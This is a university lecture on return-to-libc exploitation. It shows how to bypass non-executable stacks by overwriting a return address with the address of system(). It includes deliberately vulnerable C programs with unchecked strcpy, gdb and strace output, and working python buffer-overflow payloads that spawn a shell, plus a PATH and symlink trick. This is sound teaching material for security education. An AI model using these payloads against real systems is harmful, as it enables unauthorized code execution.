Lec. 22: Return-to-Libc
Table of Contents
1 Write xor Execute Settings
So far, in all of our exploits on the stack, we've been assuming that the memory mapped for the stack is set to be executable. That is, we would overwrite the return address and the have it jump somewhere else on the stack (say to our shell code) and that code would execute.
This setting is not the common setting for modern machines. There is a principle called "Write xor Execute" or \(w \otimes x\) which states that a memory page should either be writable or executable but not both.
What does this mean in practice? Let's take a look at our dummy exploit code.
#include <string.h> int main(int argc, char *argv[]){ char code[1024]; strncpy(code,argv[1],1024); //cast pointer to function pointer and call ((void(*)(void)) code)(); }
And we were to compile with our standard options:
gcc -fno-stack-protector -z execstack -Wno-format-security dummy_exploit.c -o dummy_exploit
You'll notice one option -z execstack
which says that we are allowed
to have the stack set to executable. Using this program, we can launch
a shell with our standard shell code:
user@si485H-base:demo$ ./dummy_exploit $(printf `./hexify.sh smallest_shell`) $
But, let's run this under gdb first so we can pause the program and see the memory maps.
user@si485H-base:demo$ gdb -q dummy_exploit Reading symbols from dummy_exploit...done. (gdb) br main Breakpoint 1 at 0x8048429: file dummy_exploit.c, line 7. (gdb) r Starting program: /home/user/git/si485-binary-exploits/lec/22/demo/dummy_exploit Breakpoint 1, main (argc=1, argv=0xbffff734) at dummy_exploit.c:7 7 strncpy(code,argv[1],1024); (gdb) info proc process 1803 cmdline = '/home/user/git/si485-binary-exploits/lec/22/demo/dummy_exploit' cwd = '/home/user/git/si485-binary-exploits/lec/22/demo' exe = '/home/user/git/si485-binary-exploits/lec/22/demo/dummy_exploit' (gdb) shell user@si485H-base:demo$ cat /proc/1803/map map_files/ maps user@si485H-base:demo$ cat /proc/1803/maps 08048000-08049000 r-xp 00000000 08:01 322611 /home/user/git/si485-binary-exploits/lec/22/demo/dummy_exploit 08049000-0804a000 r-xp 00000000 08:01 322611 /home/user/git/si485-binary-exploits/lec/22/demo/dummy_exploit 0804a000-0804b000 rwxp 00001000 08:01 322611 /home/user/git/si485-binary-exploits/lec/22/demo/dummy_exploit b7e19000-b7e1a000 rwxp 00000000 00:00 0 b7e1a000-b7fc2000 r-xp 00000000 08:01 161120 /lib/i386-linux-gnu/libc-2.19.so b7fc2000-b7fc4000 r-xp 001a8000 08:01 161120 /lib/i386-linux-gnu/libc-2.19.so b7fc4000-b7fc5000 rwxp 001aa000 08:01 161120 /lib/i386-linux-gnu/libc-2.19.so b7fc5000-b7fc8000 rwxp 00000000 00:00 0 b7fdb000-b7fdd000 rwxp 00000000 00:00 0 b7fdd000-b7fde000 r-xp 00000000 00:00 0 [vdso] b7fde000-b7ffe000 r-xp 00000000 08:01 163829 /lib/i386-linux-gnu/ld-2.19.so b7ffe000-b7fff000 r-xp 0001f000 08:01 163829 /lib/i386-linux-gnu/ld-2.19.so b7fff000-b8000000 rwxp 00020000 08:01 163829 /lib/i386-linux-gnu/ld-2.19.so bffdf000-c0000000 rwxp 00000000 00:00 0 [stack] user@si485H-base:demo$ exit (gdb) quit
If you look closely, you'll see the line for the stack and permissions
rwxp
which means that this memory region is all read, writable, and
executable. But, we can turn this off with a gcc flag:
user@si485H-base:demo$ gcc -fno-stack-protector -Wno-format-security dummy_exploit.c -o dummy_exploit user@si485H-base:demo$ ./dummy_exploit $(printf `./hexify.sh smallest_shell`) Segmentation fault (core dumped)
Now we do not get a shell, but instead we get a segmentation fault. If we run this under gdb to look at the maps, the permissions has changed.
gdb) br main Breakpoint 1 at 0x8048420 (gdb) r Starting program: /home/user/git/si485-binary-exploits/lec/22/demo/dummy_exploit Breakpoint 1, 0x08048420 in main () (gdb) info proc process 2043 cmdline = '/home/user/git/si485-binary-exploits/lec/22/demo/dummy_exploit' cwd = '/home/user/git/si485-binary-exploits/lec/22/demo' exe = '/home/user/git/si485-binary-exploits/lec/22/demo/dummy_exploit' (gdb) shell cuser@si485H-base:demo$ cat /proc/2043/maps 08048000-08049000 r-xp 00000000 08:01 322611 /home/user/git/si485-binary-exploits/lec/22/demo/dummy_exploit 08049000-0804a000 r--p 00000000 08:01 322611 /home/user/git/si485-binary-exploits/lec/22/demo/dummy_exploit 0804a000-0804b000 rw-p 00001000 08:01 322611 /home/user/git/si485-binary-exploits/lec/22/demo/dummy_exploit b7e19000-b7e1a000 rw-p 00000000 00:00 0 b7e1a000-b7fc2000 r-xp 00000000 08:01 161120 /lib/i386-linux-gnu/libc-2.19.so b7fc2000-b7fc4000 r--p 001a8000 08:01 161120 /lib/i386-linux-gnu/libc-2.19.so b7fc4000-b7fc5000 rw-p 001aa000 08:01 161120 /lib/i386-linux-gnu/libc-2.19.so b7fc5000-b7fc8000 rw-p 00000000 00:00 0 b7fdb000-b7fdd000 rw-p 00000000 00:00 0 b7fdd000-b7fde000 r-xp 00000000 00:00 0 [vdso] b7fde000-b7ffe000 r-xp 00000000 08:01 163829 /lib/i386-linux-gnu/ld-2.19.so b7ffe000-b7fff000 r--p 0001f000 08:01 163829 /lib/i386-linux-gnu/ld-2.19.so b7fff000-b8000000 rw-p 00020000 08:01 163829 /lib/i386-linux-gnu/ld-2.19.so bffdf000-c0000000 rw-p 00000000 00:00 0 [stack] user@si485H-base:demo$ exit (gdb) quit
The challenge now is, how do we still exploit programs that uses write-xor-execute principles? The answer is, we do not inject our own shell code anymore, but we rather use the code that already exists and is already executable to do the job for us.
2 Return to Libc
While we might not be able to inject our own shell code into the
process via the stack, we are in a position where we can still use
other code to do our bidding. Namely, we'll focus on the C library
function system()
.
The system()
library function takes a string as input and will
execute that string via execve
. This can be very useful, and very
dangerous.Consider the following program:
#include <stdio.h> #include <stdlib.h> #include <string.h> int main(int argc, char * argv[]){ system("/bin/sh"); }
user@si485H-base:demo$ ./system_shell $
Essentially, we use the system()
mini-shell to launch a real
/bin/sh
shell. That's great, but what does this have to do with
exploits? Why can't we overwrite a return address to jump there?
2.1 Overwriting Return Addresses with system()
For this example, we'll work the vulnerable program we've been using so far in class:
#include <stdio.h> #include <string.h> #include <stdlib.h> void bad(){ printf("You've been naughty!\n"); } void good(){ printf("Go Navy!\n"); } void vuln(int n, char * str){ int i = 0; char buf[32]; strcpy(buf,str); while( i < n ){ printf("%d %s\n",i++, buf); } } int main(int argc, char *argv[]){ vuln(atoi(argv[1]), argv[2]); return 0; }
Note, that in this example code, we #include
the stdlib.h
, which
is the C standard library, and will include all the goodies we need
for this exploit, namely, the system()
function.
The first thing we need to do is determine where the system()
call
is loaded.
(gdb) br main Breakpoint 1 at 0x804852a: file vulnerable.c, line 29. (gdb) r Starting program: /home/user/git/si485-binary-exploits/lec/22/demo/vulnerable Breakpoint 1, main (argc=1, argv=0xbffff734) at vulnerable.c:29 29 vuln(atoi(argv[1]), argv[2]); (gdb) p system $1 = {<text variable, no debug info>} 0xb7e5a190 <__libc_system>
So at address 0xb735a190 is the start of the system. Let's try and use that in our exploit. First, we need to setup the exploit, and we'll do that in the normal way.
We can find the length of the buffer to the exploit:
080484d5 <vuln>: 80484d5: 55 push ebp 80484d6: 89 e5 mov ebp,esp 80484d8: 83 ec 48 sub esp,0x48 80484db: c7 45 f4 00 00 00 00 mov DWORD PTR [ebp-0xc],0x0 80484e2: 8b 45 0c mov eax,DWORD PTR [ebp+0xc] 80484e5: 89 44 24 04 mov DWORD PTR [esp+0x4],eax 80484e9: 8d 45 d4 lea eax,[ebp-0x2c] #<------------ 80484ec: 89 04 24 mov DWORD PTR [esp],eax 80484ef: e8 6c fe ff ff call 8048360 <strcpy@plt> 80484f4: eb 20 jmp 8048516 <vuln+0x41> 80484f6: 8b 45 f4 mov eax,DWORD PTR [ebp-0xc] 80484f9: 8d 50 01 lea edx,[eax+0x1] 80484fc: 89 55 f4 mov DWORD PTR [ebp-0xc],edx 80484ff: 8d 55 d4 lea edx,[ebp-0x2c] 8048502: 89 54 24 08 mov DWORD PTR [esp+0x8],edx 8048506: 89 44 24 04 mov DWORD PTR [esp+0x4],eax 804850a: c7 04 24 0e 86 04 08 mov DWORD PTR [esp],0x804860e 8048511: e8 3a fe ff ff call 8048350 <printf@plt> 8048516: 8b 45 f4 mov eax,DWORD PTR [ebp-0xc] 8048519: 3b 45 08 cmp eax,DWORD PTR [ebp+0x8] 804851c: 7c d8 jl 80484f6 <vuln+0x21> 804851e: c9 leave 804851f: c3 ret
Then we can setup the overflow:
user@si485H-base:demo$ ./vulnerable 10 `python -c "print 'A'*(0x2c+4)+'\xef\xbe\xad\xde'"` Segmentation fault (core dumped) user@si485H-base:demo$ dmesg | tail -1 [ 2138.032640] vulnerable[2283]: segfault at deadbeef ip deadbeef sp bffff690 error 15
2.2 Jumping to system
Once the exploit is setup, now we only need to replace 0xdeadbeef with 0xb7e5a190 to jump the system call:
user@si485H-base:demo$ ./vulnerable 10 `python -c "print 'A'*(0x2c+4)+'\x90\xa1\xe5\xb7'"` sh: 1: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA???: not found Segmentation fault (core dumped)
That's really interesting because those errors have nothing to do with
the program. Notices that the start of the error message refers to
"sh" reporting the error. Essentially, we were successful in getting
system()
to execute, but the argument to system was not a valid
command. But, what was it?
Look more closely, you'll see it is a bunch of our A's: it's the input we provided to the program. So we can control what get's called to it, and moreover, the system() command accepts valid bash directives. so we can do the following:
user@si485H-base:demo$ ./vulnerable 10 `python -c "cmd='/bin/sh;';print cmd+'A'*(0x2c+4-len(cmd))+'\x90\xa1\xe5\xb7'"` $
And, boom shell! What we did, is we inserted a "/bin/sh;" at the start of our input string so that it will execute the shell. But there is still a bunch of A's to follow that will cause an error, and exiting the program, does just that:
user@si485H-base:demo$ ./vulnerable 10 `python -c "cmd='/bin/sh;';print cmd+'A'*(0x2c+4-len(cmd))+'\x90\xa1\xe5\xb7'"` $ sh: 1: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA???: not found Segmentation fault (core dumped)
2.3 Why this worked so easily
In our example, we got really lucky, because we control the argument
to /bin/sh
. Let's take a look at the disassemble of vuln
:
Dump of assembler code for function vuln: 0x080484d5 <+0>: push ebp 0x080484d6 <+1>: mov ebp,esp 0x080484d8 <+3>: sub esp,0x48 0x080484db <+6>: mov DWORD PTR [ebp-0xc],0x0 0x080484e2 <+13>: mov eax,DWORD PTR [ebp+0xc] 0x080484e5 <+16>: mov DWORD PTR [esp+0x4],eax 0x080484e9 <+20>: lea eax,[ebp-0x2c] 0x080484ec <+23>: mov DWORD PTR [esp],eax 0x080484ef <+26>: call 0x8048360 <strcpy@plt> 0x080484f4 <+31>: jmp 0x8048516 <vuln+65> 0x080484f6 <+33>: mov eax,DWORD PTR [ebp-0xc] 0x080484f9 <+36>: lea edx,[eax+0x1] 0x080484fc <+39>: mov DWORD PTR [ebp-0xc],edx 0x080484ff <+42>: lea edx,[ebp-0x2c] 0x08048502 <+45>: mov DWORD PTR [esp+0x8],edx 0x08048506 <+49>: mov DWORD PTR [esp+0x4],eax 0x0804850a <+53>: mov DWORD PTR [esp],0x804860e 0x08048511 <+60>: call 0x8048350 <printf@plt> 0x08048516 <+65>: mov eax,DWORD PTR [ebp-0xc] 0x08048519 <+68>: cmp eax,DWORD PTR [ebp+0x8] 0x0804851c <+71>: jl 0x80484f6 <vuln+33> => 0x0804851e <+73>: leave 0x0804851f <+74>: ret End of assembler dump.
If you look at the stack alignment at this point, we get the following for the vulnerable function prior to the leave/ret:
.---------. | str | ----> "/bin/sh;AAAAAAAAAAAAAAAAAAA" |---------| | n | |---------| | ret adr | ----> 0xb7e5a190 (system+0x0) |---------| ebp -> | sbp | |---------| : : esp -> '---------' eip: vuln+73
After the leave/return we are left with this:
ebp -> ??? .---------. | str | ----> "/bin/sh;AAAAAAAAAAAAAAAAAAA" |---------| esp -> | n | '---------' eip: system+0x0
We can further look at the code for system:
Dump of assembler code for function __libc_system: 0xb7e5a190 <+0>: push ebx 0xb7e5a191 <+1>: sub esp,0x8 0xb7e5a194 <+4>: mov eax,DWORD PTR [esp+0x10] 0xb7e5a198 <+8>: call 0xb7f4094b <__x86.get_pc_thunk.bx> 0xb7e5a19d <+13>: add ebx,0x169e63 0xb7e5a1a3 <+19>: test eax,eax 0xb7e5a1a5 <+21>: je 0xb7e5a1b0 <__libc_system+32> 0xb7e5a1a7 <+23>: add esp,0x8 0xb7e5a1aa <+26>: pop ebx 0xb7e5a1ab <+27>: jmp 0xb7e59c20 <do_system> <---------!!!! 0xb7e5a1b0 <+32>: lea eax,[ebx-0x495d4] 0xb7e5a1b6 <+38>: call 0xb7e59c20 <do_system> 0xb7e5a1bb <+43>: test eax,eax 0xb7e5a1bd <+45>: sete al 0xb7e5a1c0 <+48>: add esp,0x8 0xb7e5a1c3 <+51>: movzx eax,al 0xb7e5a1c6 <+54>: pop ebx 0xb7e5a1c7 <+55>: ret
The do_system
function is the thing that really does the work for
the system call, and it just so happens that the argument to system
when do_system()
is called needs to be the second value on the
stack, which is exactly what we have! This might not always be the
case.
3 Harder Return to Lib C
Let's now look at what it takes to do a return to libc attack where we don't get lucky with the stack alignment. Here's another vulnerable program:
#include <stdio.h> #include <string.h> #include <stdlib.h> void vuln(char * str){ char buf[32]; strcpy(buf,str); printf("%s\n",buf); } int main(int argc, char *argv[]){ vuln(argv[1]); return 0; }
We can do a stack smash alignment like last time:
0804844d <vuln>: 804844d: 55 push ebp 804844e: 89 e5 mov ebp,esp 8048450: 83 ec 38 sub esp,0x38 8048453: 8b 45 08 mov eax,DWORD PTR [ebp+0x8] 8048456: 89 44 24 04 mov DWORD PTR [esp+0x4],eax 804845a: 8d 45 d8 lea eax,[ebp-0x28] #<--- 804845d: 89 04 24 mov DWORD PTR [esp],eax 8048460: e8 ab fe ff ff call 8048310 <strcpy@plt> 8048465: 8d 45 d8 lea eax,[ebp-0x28] 8048468: 89 04 24 mov DWORD PTR [esp],eax 804846b: e8 b0 fe ff ff call 8048320 <puts@plt> 8048470: c9 leave 8048471: c3 ret
Now when we run our exploit we get:
user@si485H-base:demo$ ./harder `python -c "cmd='/bin/sh;';print cmd+'A'*(0x28+4-len(cmd))+'\x90\xa1\xe5\xb7'"` /bin/sh;AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA??? sh: 1: 4: not found Segmentation fault (core dumped)
We don't get what we want. But, the game is not up.
3.1 Using Sym Linking and PATH manipulation
If you look closely, you see the error, "4: not found", but let's take
a closer look at this error under strace
.
user@si485H-base:demo$ strace -f ./harder `python -c "cmd='/bin/sh;';print cmd+'A'*(0x28+4-len(cmd))+'\x90\xa1\xe5\xb7'"` execve("./harder", ["./harder", "/bin/sh;AAAAAAAAAAAAAAAAAAAAAAAA"...], [/* 20 vars */]) = 0 (...) clone(child_stack=0, flags=CLONE_PARENT_SETTID|SIGCHLD, parent_tidptr=0xbffff544) = 2460 waitpid(2460, Process 2460 attached <unfinished ...> (...) [pid 2460] stat64("/usr/local/sbin/4\17\2", 0xbffff490) = -1 ENOENT (No such file or directory) [pid 2460] stat64("/usr/local/bin/4\17\2", 0xbffff490) = -1 ENOENT (No such file or directory) [pid 2460] stat64("/usr/sbin/4\17\2", 0xbffff490) = -1 ENOENT (No such file or directory) [pid 2460] stat64("/usr/bin/4\17\2", 0xbffff490) = -1 ENOENT (No such file or directory) [pid 2460] stat64("/sbin/4\17\2", 0xbffff490) = -1 ENOENT (No such file or directory) [pid 2460] stat64("/bin/4\17\2", 0xbffff490) = -1 ENOENT (No such file or directory) [pid 2460] stat64("/usr/games/4\17\2", 0xbffff490) = -1 ENOENT (No such file or directory) [pid 2460] stat64("/usr/local/games/4\17\2", 0xbffff490) = -1 ENOENT (No such file or directory) [pid 2460] write(2, "sh: 1: ", 7sh: 1: ) = 7 [pid 2460] write(2, "4\17\2: not found", 144: not found) = 14 [pid 2460] write(2, "\n", 1 (...)
What you see is that it is looking for the string "4\17\2" along the path. All we need to do is create a file along the execution path for "4\17\2" that will execute a shell.
To start, let's create a symbolic link to /bin/sh called "4\17\2":
user@si485H-base:demo$ ln -s /bin/sh $(printf "4\17\2") user@si485H-base:demo$ ls -l 4^O^B lrwxrwxrwx 1 user user 7 Nov 24 10:04 4?? -> /bin/sh
Now, we just need to edit the PATH
environment variable to put this
along the path lookup:
user@si485H-base:demo$ export PATH=.:$PATH user@si485H-base:demo$ echo $PATH .:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games
Now, let's exploit away:
user@si485H-base:demo$ ./harder `python -c "cmd='/bin/sh;';print cmd+'A'*(0x28+4-len(cmd))+'\x90\xa1\xe5\xb7'"` /bin/sh;AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA??? $
Boom shell!
3.2 Jumping to the Exploit String
Another option is to write an address to the stack where system()
will use it as its argument. Consider that we have control of the
stack at this point, and we can write arbitrarily to the stack, so the
question is, what address do we write? Why not jump to the exploit
string itself.
Consider this version of the exploit again this time, I'm going to use 0xdeadbeef for the address of system and then 0xcafebabe for the address where the address of "/bin/sh" should be.
user@si485H-base:demo$ ./harder `python -c "cmd='/bin/sh;';print cmd+'A'*(0x28+4-len(cmd))+'\xef\xbe\xad\xde' + 'BBBB' + '\xbe\xba\xfe\xca'"` /bin/sh;AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAᆳ?AAAA???? Segmentation fault (core dumped) user@si485H-base:demo$ dmesg | tail -1 [ 7089.578719] harder[2566]: segfault at deadbeef ip deadbeef sp bffff690 error 15
After the return/leave, the segfault occurs revealing the stack pointer at the time of the exploit, and this is EXACTLY the information we need in order to calculate the address of the start of the exploit string where "/bin/sh;" lives.
Consider again, that after the return and leave, the stack looks like this:
ebp -> ??? | .... | |--------| |cafebabe| |--------| esp -> | BBBB | ---. |--------| | : : | : ... : | : AAAA : | esp - 0x28 - 0x8 : ;AAA : | : /cat : | : /bin : | ' - -- - '----'
Looking at the exploit closely, you see that esp
references the
"BBBB" following the exploit, we see that this address is exactly
0x28+8 bytes away from the start of the exploit string. We know this
because the return address was 0x28+4 bytes away, and this is four
bytes beyond that. That means, if we replace 0xcafebabe with
0xbffff690-0x28-8=0xbffff660, we should get the exploit we want. Let's
give it a try:
user@si485H-base:demo$ ./harder `python -c "cmd='/bin/sh;';print cmd+'A'*(0x28+4-len(cmd))+'\x90\xa1\xe5\xb7' + 'BBBB' + '\x60\xf6\xff\xbf'"` /bin/sh;AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA???BBBB`??? Segmentation fault (core dumped)
That didn't work — I think that system()
messed up our string in
some way, but now we are in the range. Let's keep trying addresses up from there:
user@si485H-base:demo$ ./harder `python -c "cmd='/bin/sh;';print cmd+'A'*(0x28+4-len(cmd))+'\x90\xa1\xe5\xb7' + 'BBBB' + '\x60\xf6\xff\xbf'"` /bin/sh;AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA???BBBB`??? Segmentation fault (core dumped) user@si485H-base:demo$ ./harder `python -c "cmd='/bin/sh;';print cmd+'A'*(0x28+4-len(cmd))+'\x90\xa1\xe5\xb7' + 'BBBB' + '\x65\xf6\xff\xbf'"` /bin/sh;AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA???BBBBe??? Segmentation fault (core dumped) user@si485H-base:demo$ ./harder `python -c "cmd='/bin/sh;';print cmd+'A'*(0x28+4-len(cmd))+'\x90\xa1\xe5\xb7' + 'BBBB' + '\x6a\xf6\xff\xbf'"` /bin/sh;AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA???BBBBj??? Segmentation fault (core dumped) user@si485H-base:demo$ ./harder `python -c "cmd='/bin/sh;';print cmd+'A'*(0x28+4-len(cmd))+'\x90\xa1\xe5\xb7' + 'BBBB' + '\x70\xf6\xff\xbf'"` /bin/sh;AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA???BBBBp??? sh: 1: AAAAAAAAAAAAAAAA: not found Segmentation fault (core dumped)
Now, we've got something cooking. System is trying to execute some input we provided. Let's just make the rest of the string "/bin/sh;" and maybe we'll get lucky:
user@si485H-base:demo$ ./harder `python -c "cmd='/bin/sh;/bin/sh;/bin/sh;/bin/sh;/bin/sh;';print cmd+'A'*(0x28+4-len(cmd))+'\x90\xa1\xe5\xb7' + 'BBBB' + '\x70\xf6\xff\xbf'"` /bin/sh;/bin/sh;/bin/sh;/bin/sh;/bin/sh;AAAA???BBBBp??? $
So while we didn't get the first one, we eventually found a "/bin/sh".